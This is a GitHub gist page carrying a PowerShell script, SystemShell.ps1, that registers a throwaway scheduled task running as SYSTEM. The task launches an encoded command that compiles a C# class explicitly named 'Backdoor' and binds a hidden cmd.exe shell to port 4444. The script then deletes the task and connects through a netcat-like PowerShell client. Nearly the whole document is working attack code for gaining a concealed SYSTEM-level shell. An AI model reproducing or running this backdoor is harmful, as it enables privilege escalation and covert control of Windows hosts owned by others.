Skip to content

Instantly share code, notes, and snippets.

@S3cur3Th1sSh1t

S3cur3Th1sSh1t/SystemShell.ps1

Last active April 20, 2021 12:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save S3cur3Th1sSh1t/ccb2b93433ea4b65454c44c69aaeda4e to your computer and use it in GitHub Desktop.
Save S3cur3Th1sSh1t/ccb2b93433ea4b65454c44c69aaeda4e to your computer and use it in GitHub Desktop.
Download ZIP
Raw
SystemShell.ps1
$confirmpreference = "none"
function Get-ScheduledTaskSystem
{
$Name = -join ((65..90) + (97..122) | Get-Random -Count 5 | % {[char]$_})
$SystemUser = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
$action = New-ScheduledTaskAction -Execute "powershell" -Argument " -noni -noP -sta -enc $ e a s y b i n d   =   @ " 
 u s i n g   S y s t e m ; 
 u s i n g   S y s t e m . D i a g n o s t i c s ; 
 u s i n g   S y s t e m . N e t ; 
 u s i n g   S y s t e m . N e t . S o c k e t s ; 
 u s i n g   S y s t e m . T h r e a d i n g ; 
 u s i n g   S y s t e m . I O ; 
 n a m e s p a c e   B a c k d o o r S e r v e r 
 { 
         p u b l i c   c l a s s   B a c k d o o r 
         { 
                 p r i v a t e   T c p L i s t e n e r   l i s t e n e r ; 
                 p r i v a t e   S o c k e t   m a i n S o c k e t ; 
                 p r i v a t e   i n t   p o r t ; 
                 p r i v a t e   S t r i n g   n a m e ; 
                 p r i v a t e   b o o l   v e r b o s e ; 
                 p r i v a t e   P r o c e s s   s h e l l ; 
                 p r i v a t e   S t r e a m R e a d e r   f r o m S h e l l ; 
                 p r i v a t e   S t r e a m W r i t e r   t o S h e l l ; 
                 p r i v a t e   S t r e a m R e a d e r   i n S t r e a m ; 
                 p r i v a t e   S t r e a m W r i t e r   o u t S t r e a m ; 
                 p r i v a t e   T h r e a d   s h e l l T h r e a d ; 
                 p u b l i c   s t a t i c   v o i d   _ b i n d ( s t r i n g   i p ,   I n t 3 2   p o r t ) 
                 { 
                         B a c k d o o r   b d   =   n e w   B a c k d o o r ( ) ; 
                         b d . s t a r t S e r v e r ( i p , p o r t ) ; 
                 } 
                 p u b l i c   v o i d   s t a r t S e r v e r ( s t r i n g   n s , i n t   p o r t a ,   b o o l   v e r b = f a l s e ) 
                 { 
                         t r y 
                         { 
                                 n a m e   =   n s ; 
                                 p o r t   =   p o r t a ; 
                                 v e r b o s e   =   v e r b ; 
                                 I P A d d r e s s   i p   =   I P A d d r e s s . P a r s e ( n s ) ; 
 
 
                                 i f   ( v e r b o s e ) 
                                         C o n s o l e . W r i t e L i n e ( " L i s t e n i n g   o n   p o r t   "   +   p o r t ) ; 
 l i s t e n e r   =   n e w   T c p L i s t e n e r ( i p ,   p o r t ) ; 
 l i s t e n e r . S t a r t ( ) ; 
                                 m a i n S o c k e t   =   l i s t e n e r . A c c e p t S o c k e t ( ) ; 
 
                                 i f   ( v e r b o s e ) 
                                         C o n s o l e . W r i t e L i n e ( " C l i e n t   c o n n e c t e d :   "   +   m a i n S o c k e t . R e m o t e E n d P o i n t ) ; 
 S t r e a m   s   =   n e w   N e t w o r k S t r e a m ( m a i n S o c k e t ) ; 
 i n S t r e a m   =   n e w   S t r e a m R e a d e r ( s ) ; 
 o u t S t r e a m   =   n e w   S t r e a m W r i t e r ( s ) ; 
 o u t S t r e a m . A u t o F l u s h   =   t r u e ;           
                                 s h e l l   =   n e w   P r o c e s s ( ) ; 
 s h e l l . S t a r t I n f o . W i n d o w S t y l e   =   P r o c e s s W i n d o w S t y l e . H i d d e n ; 
                                 P r o c e s s S t a r t I n f o   p   =   n e w   P r o c e s s S t a r t I n f o ( " c m d " ) ; 
 p . W i n d o w S t y l e   =   P r o c e s s W i n d o w S t y l e . H i d d e n ; 
                                 p . C r e a t e N o W i n d o w   =   t r u e ; 
                                 p . U s e S h e l l E x e c u t e   =   f a l s e ; 
                                 p . R e d i r e c t S t a n d a r d E r r o r   =   t r u e ; 
                                 p . R e d i r e c t S t a n d a r d I n p u t   =   t r u e ; 
                                 p . R e d i r e c t S t a n d a r d O u t p u t   =   t r u e ; 
                                 s h e l l . S t a r t I n f o   =   p ; 
                                 s h e l l . S t a r t ( ) ; 
                                 t o S h e l l   =   s h e l l . S t a n d a r d I n p u t ; 
                                 f r o m S h e l l   =   s h e l l . S t a n d a r d O u t p u t ; 
                                 t o S h e l l . A u t o F l u s h   =   t r u e ; 
                                 s h e l l T h r e a d   =   n e w   T h r e a d ( n e w   T h r e a d S t a r t ( g e t S h e l l I n p u t ) ) ; 
                                 s h e l l T h r e a d . S t a r t ( ) ; 
                                 o u t S t r e a m . W r i t e L i n e ( " S y s t e m   S h e l l   s t a r t e d   s u c c e s s f u l l y . " ) ; 
                                 o u t S t r e a m . W r i t e L i n e ( " S t a r t i n g   s h e l l . . . \ n " ) ; 
                                 g e t I n p u t ( ) ; 
 d r o p C o n n e c t i o n ( ) ; 
 
                         } 
                         c a t c h   ( E x c e p t i o n )   {   d r o p C o n n e c t i o n ( ) ;   } 
                 } 
                 v o i d   g e t S h e l l I n p u t ( ) 
 { 
         t r y 
         { 
                 S t r i n g   t e m p B u f   =   " " ; 
                 o u t S t r e a m . W r i t e L i n e ( " \ r \ n " ) ; 
                 w h i l e   ( ( t e m p B u f   =   f r o m S h e l l . R e a d L i n e ( ) )   ! =   n u l l ) 
                 { 
                         o u t S t r e a m . W r i t e L i n e ( t e m p B u f   +   " \ r " ) ; 
                 } 
                 d r o p C o n n e c t i o n ( ) ; 
         } 
         c a t c h   ( E x c e p t i o n )   { } 
 } 
 p r i v a t e   v o i d   g e t I n p u t ( ) 
 { 
         t r y 
         { 
                 S t r i n g   t e m p B u f f   =   " " ; 
                 w h i l e   ( ( ( t e m p B u f f   =   i n S t r e a m . R e a d L i n e ( ) )   ! =   n u l l ) ) 
                 {   
                         i f   ( v e r b o s e ) 
                                 C o n s o l e . W r i t e L i n e ( " R e c e i v e d   c o m m a n d :   "   +   t e m p B u f f ) ; 
                         h a n d l e C o m m a n d ( t e m p B u f f ) ; 
                 } 
         } 
         c a t c h   ( E x c e p t i o n )   {   } 
 } 
 
 p r i v a t e   v o i d   h a n d l e C o m m a n d ( S t r i n g   c o m ) 
 { 
         t r y 
         { 
                 i f   ( c o m . E q u a l s ( " e x i t " ) ) 
                 { 
                         o u t S t r e a m . W r i t e L i n e ( " \ n \ n C l o s i n g   t h e   s h e l l   a n d   D r o p p i n g   t h e   c o n n e c t i o n . . . " ) ; 
                         d r o p C o n n e c t i o n ( ) ; 
                 } 
                 t o S h e l l . W r i t e L i n e ( c o m   +   " \ r \ n " ) ; 
         } 
         c a t c h   ( E x c e p t i o n )   {   d r o p C o n n e c t i o n ( ) ;   } 
 } 
 p r i v a t e   v o i d   d r o p C o n n e c t i o n ( ) 
 { 
         t r y 
         { 
                 i f   ( v e r b o s e ) 
                         C o n s o l e . W r i t e L i n e ( " D r o p p i n g   C o n n e c t i o n " ) ; 
                 s h e l l . C l o s e ( ) ; 
                 s h e l l . D i s p o s e ( ) ; 
                 s h e l l T h r e a d . A b o r t ( ) ; 
                 s h e l l T h r e a d   =   n u l l ; 
                 i n S t r e a m . D i s p o s e ( ) ; 
                 o u t S t r e a m . D i s p o s e ( ) ; 
                 t o S h e l l . D i s p o s e ( ) ; 
                 f r o m S h e l l . D i s p o s e ( ) ; 
                 s h e l l . D i s p o s e ( ) ; 
                 m a i n S o c k e t . C l o s e ( ) ; 
                 l i s t e n e r . S t o p ( ) ; 
                 r e t u r n ; 
         } 
         c a t c h   ( E x c e p t i o n )   {   } 
 }         
         } 
 } 
 " @ 
 A d d - T y p e   - T y p e D e f i n i t i o n   $ e a s y b i n d 
 [ B a c k d o o r S e r v e r . B a c k d o o r ] : : _ b i n d ( " 1 2 7 . 0 . 0 . 1 " , " 4 4 4 4 " ) 
 "
Register-ScheduledTask $Name -Principal $SystemUser -Action $action
Start-ScheduledTask -TaskName $Name
Start-Sleep -Seconds 2
Unregister-ScheduledTask -TaskName $Name
connecting -c 127.0.0.1 -p 4444
}
function Connecting
{
param(
[alias("Client")][string]$c="",
[alias("Port")][Parameter(Position=-1)][string]$p="",
[alias("Relay")][string]$r="",
[alias("Timeout")][int32]$t=60,
[Parameter(ValueFromPipeline=$True)][alias("Input")]$i=$null,
[ValidateSet('Host', 'Bytes', 'String')][alias("OutputType")][string]$o="Host",
[alias("Disconnect")][switch]$d=$False
)
function Setup_TCP
{
param($FuncSetupVars)
$c,$l,$p,$t = $FuncSetupVars
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
if(!$l)
{
$FuncVars["l"] = $False
$Socket = New-Object System.Net.Sockets.TcpClient
Write-Verbose "Connecting..."
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
}
else
{
$FuncVars["l"] = $True
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
$Socket = New-Object System.Net.Sockets.TcpListener $p
$Socket.Start()
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
}
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
while($True)
{
if($Host.UI.RawUI.KeyAvailable)
{
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown").VirtualKeyCode))
{
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
if($FuncVars["l"]){$Socket.Stop()}
else{$Socket.Close()}
$Stopwatch.Stop()
break
}
}
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
{
if(!$l){$Socket.Close()}
else{$Socket.Stop()}
$Stopwatch.Stop()
Write-Verbose "Timeout!" ; break
break
}
if($Handle.IsCompleted)
{
if(!$l)
{
try
{
$Socket.EndConnect($Handle)
$Stream = $Socket.GetStream()
$BufferSize = $Socket.ReceiveBufferSize
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
}
catch{$Socket.Close(); $Stopwatch.Stop(); break}
}
else
{
$Client = $Socket.EndAcceptTcpClient($Handle)
$Stream = $Client.GetStream()
$BufferSize = $Client.ReceiveBufferSize
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
}
break
}
}
$Stopwatch.Stop()
if($Socket -eq $null){break}
$FuncVars["Stream"] = $Stream
$FuncVars["Socket"] = $Socket
$FuncVars["BufferSize"] = $BufferSize
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["StreamBytesRead"] = 1
return $FuncVars
}
function ReadData_TCP
{
param($FuncVars)
$Data = $null
if($FuncVars["StreamBytesRead"] -eq 0){break}
if($FuncVars["StreamReadOperation"].IsCompleted)
{
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
if($StreamBytesRead -eq 0){break}
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
}
return $Data,$FuncVars
}
function WriteData_TCP
{
param($Data,$FuncVars)
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
return $FuncVars
}
function Close_TCP
{
param($FuncVars)
try{$FuncVars["Stream"].Close()}
catch{}
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
else{$FuncVars["Socket"].Close()}
}
function Setup_CMD
{
param($FuncSetupVars)
if($global:Verbose){$Verbose = $True}
$FuncVars = @{}
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
$ProcessStartInfo.FileName = $FuncSetupVars[0]
$ProcessStartInfo.UseShellExecute = $False
$ProcessStartInfo.RedirectStandardInput = $True
$ProcessStartInfo.RedirectStandardOutput = $True
$ProcessStartInfo.RedirectStandardError = $True
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
$FuncVars["Process"].Start() | Out-Null
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
return $FuncVars
}
function ReadData_CMD
{
param($FuncVars)
[byte[]]$Data = @()
if($FuncVars["StdOutReadOperation"].IsCompleted)
{
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
if($StdOutBytesRead -eq 0){break}
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
}
if($FuncVars["StdErrReadOperation"].IsCompleted)
{
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
if($StdErrBytesRead -eq 0){break}
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
}
return $Data,$FuncVars
}
function WriteData_CMD
{
param($Data,$FuncVars)
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
return $FuncVars
}
function Close_CMD
{
param($FuncVars)
$FuncVars["Process"] | Stop-Process
}
function Setup_Console
{
param($FuncSetupVars)
$FuncVars = @{}
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
$FuncVars["Output"] = $FuncSetupVars[0]
$FuncVars["OutputBytes"] = [byte[]]@()
$FuncVars["OutputString"] = ""
return $FuncVars
}
function ReadData_Console
{
param($FuncVars)
$Data = $null
if($Host.UI.RawUI.KeyAvailable)
{
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
}
return $Data,$FuncVars
}
function WriteData_Console
{
param($Data,$FuncVars)
switch($FuncVars["Output"])
{
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
"Bytes" {$FuncVars["OutputBytes"] += $Data}
}
return $FuncVars
}
function Close_Console
{
param($FuncVars)
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
return
}
function Main
{
param($Stream1SetupVars,$Stream2SetupVars)
try
{
[byte[]]$InputToWrite = @()
$Encoding = New-Object System.Text.AsciiEncoding
if($i -ne $null)
{
Write-Verbose "Input from -i detected..."
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
else{Write-Host "Unrecognised input type." ; return}
}
Write-Verbose "Setting up Stream 1..."
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
Write-Verbose "Setting up Stream 2..."
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
$Data = $null
if($InputToWrite -ne @())
{
Write-Verbose "Writing input to Stream 1..."
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
catch{Write-Host "Failed to write input to Stream 1" ; return}
}
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
while($True)
{
try
{
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
}
try
{
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
$Data = $null
}
catch
{
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
}
}
}
finally
{
try
{
Stream2_Close $Stream2Vars
}
catch
{
Write-Verbose "Failed to close Stream 2"
}
try
{
Stream1_Close $Stream1Vars
}
catch
{
Write-Verbose "Failed to close Stream 1"
}
}
}
Write-Verbose "Set Stream 1: TCP"
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
Write-Verbose "Set Stream 2: Console"
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
$InvokeString += ("@('" + $o + "')")
$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")
$InvokeString = ($FunctionString + $InvokeString)
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
$Output = $null
try
{
if($rep)
{
while($True)
{
$Output += IEX $InvokeString
Start-Sleep -s 2
Write-Verbose "Repetition Enabled: Restarting..."
}
}
else
{
$Output += IEX $InvokeString
}
}
finally
{
if($Output -ne $null)
{
if($of -eq ""){$Output}
else{[io.file]::WriteAllBytes($of,$Output)}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment